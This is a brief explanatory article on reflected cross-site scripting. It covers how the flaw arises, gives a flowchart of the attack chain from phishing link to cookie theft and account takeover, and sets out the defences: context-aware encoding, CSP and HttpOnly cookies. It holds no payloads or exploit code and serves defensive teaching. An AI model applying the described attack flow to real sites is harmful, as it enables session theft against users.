Reflected XSS.

Reflected XSS (also called non-persistent or Type-1) happens when a web application takes data from an HTTP request, typically a URL query parameter or form field, and echoes it back in the response without proper output encoding. The attack requires the victim to click a crafted link, so it is usually delivered through phishing, malvertising, or chat messages. Successful exploitation can steal session cookies, perform actions on behalf of the user, or chain into a full account takeover.

Anatomy of a reflected XSS attack

flowchart LR
  A[Attacker crafts link with script in a parameter] --> B[Delivers via phishing / ad / chat]
  B --> C[Victim clicks link]
  C --> D[App reflects input into response unencoded]
  D --> E[Browser executes script in victim's session]
  E --> F[Cookie theft / actions as user / ATO]

Why the payload must be encoded for its context

The defining subtlety of XSS is that "encoding" is context-specific: the same value is safe in one sink and dangerous in another. Data placed inside HTML text needs HTML-entity encoding; inside an attribute it needs attribute encoding and quoting; inside a <script> block or an event handler it needs JavaScript-string encoding; and inside a URL it needs URL encoding. A single output-encoding pass applied blindly will miss cases where the same parameter is reflected into multiple contexts. Modern template engines that auto-escape by default (React's JSX, Angular, and server-side templating with contextual escaping) remove most reflected XSS, provided developers avoid escape hatches such as dangerouslySetInnerHTML or innerHTML.

Browser-side filters are no longer a defence. Google removed Chrome's XSS Auditor in Chrome 78 (October 2019) because it was easily bypassed, caused false positives, and could itself be weaponized to selectively disable legitimate scripts; the X-XSS-Protection header it honoured is now effectively dead. The durable controls are context-aware output encoding, a strict Content Security Policy (ideally nonce- or hash-based), HttpOnly cookies so stolen scripts cannot read the session, and input validation as defence in depth rather than the primary barrier.